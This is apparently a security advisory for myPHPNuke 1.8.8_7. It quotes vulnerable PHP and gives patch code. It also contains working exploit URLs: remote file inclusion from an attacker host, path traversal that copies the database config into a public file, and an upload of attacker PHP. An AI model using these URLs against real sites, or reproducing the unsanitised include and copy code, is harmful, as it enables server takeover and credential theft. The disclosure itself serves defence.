myPHPNuke.txt

`Informations :  
°°°°°°°°°°°°°  
Language : PHP  
Version : 1.8.8_7  
Website : http://www.myphpnuke.com  
Problems : - Upload/Copy/Include Files  
  
  
PHP Code/Location :  
°°°°°°°°°°°°°°°°°°°  
  
gallery/displayCategory.php :  
  
------------------------------------------  
[...]  
<?php  
  
include ("$basepath/imageFunctions.php");  
include ("$adminpath/fileFunctions.php");  
------------------------------------------  
  
  
mailattach.php :  
  
-----------------------------------------------------  
[...]  
<?  
OpenTable();  
global $attachmentdir;  
  
$attchfile = $attachmentdir.$attach1_name;  
  
if(isset($submit) ) {  
if ($attach1_name != "") {  
copy("$attach1", $attchfile)  
or die("Couldn't copy the file!");  
echo "<script> attach();</script>";  
} else {  
die("No input file specified");  
}  
echo "<script> attach(); </script>";  
} else {  
  
?>  
[...]  
-----------------------------------------------------  
  
  
Exploits :  
°°°°°°°°  
- http://[target]/gallery/displayCategory.php?basepath=http://[attacker]   
will include the file :  
http://[attacker]/imageFunctions.php  
  
- http://[target]/gallery/displayCategory.php?adminpath=http://[attacker]   
will include the file :  
http://[attacker]/fileFunctions.php  
  
-   
http://[target]/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=../DBInfos.txt   
will copy the file admin/original/config.php (with DB Informations) into   
http://[target]/DBInfos.txt .  
  
-   
http://[target]/mailattach.php?submit=1&attach1=http://[attacker]/bad.txt&attach1_name=../bad.php   
will copy the file bad.txt into http://[target]/bad.php  
  
- etc...  
  
  
Solution :  
°°°°°°°°°  
A patch can be found on http://www.phpsecure.info.  
In gallery/displayCategory.php, add before all lines the lines :  
-------------------------------------------------------------------  
if (isset($_REQUEST["basepath"]) OR isset($_REQUEST["adminpath"])){  
die("Patched.");  
}  
-------------------------------------------------------------------  
  
And in mailattach.php, add just after the lines :  
-------------------------  
[...]  
<?  
OpenTable();  
global $attachmentdir;  
[...]  
-------------------------  
  
the lines :  
  
-----------------------------------------------------------------------------------------------------------------------------------------------------------  
if (isset($_REQUEST["attach1_type"]) OR isset($_REQUEST["attach1_name"])   
OR ereg("/",$attach1) OR ereg("\.\.",$attach1) OR ereg(".php",$attach1_name)   
){  
die("Patched.");  
}  
-----------------------------------------------------------------------------------------------------------------------------------------------------------  
  
  
More Details :  
°°°°°°°°°°°°  
In french :  
http://www.phpsecure.info/v2/tutos/myPHPNuke.txt  
  
  
  
  
frog-m@n (http://www.phpsecure.info)  
  
_________________________________________________________________  
  
  
`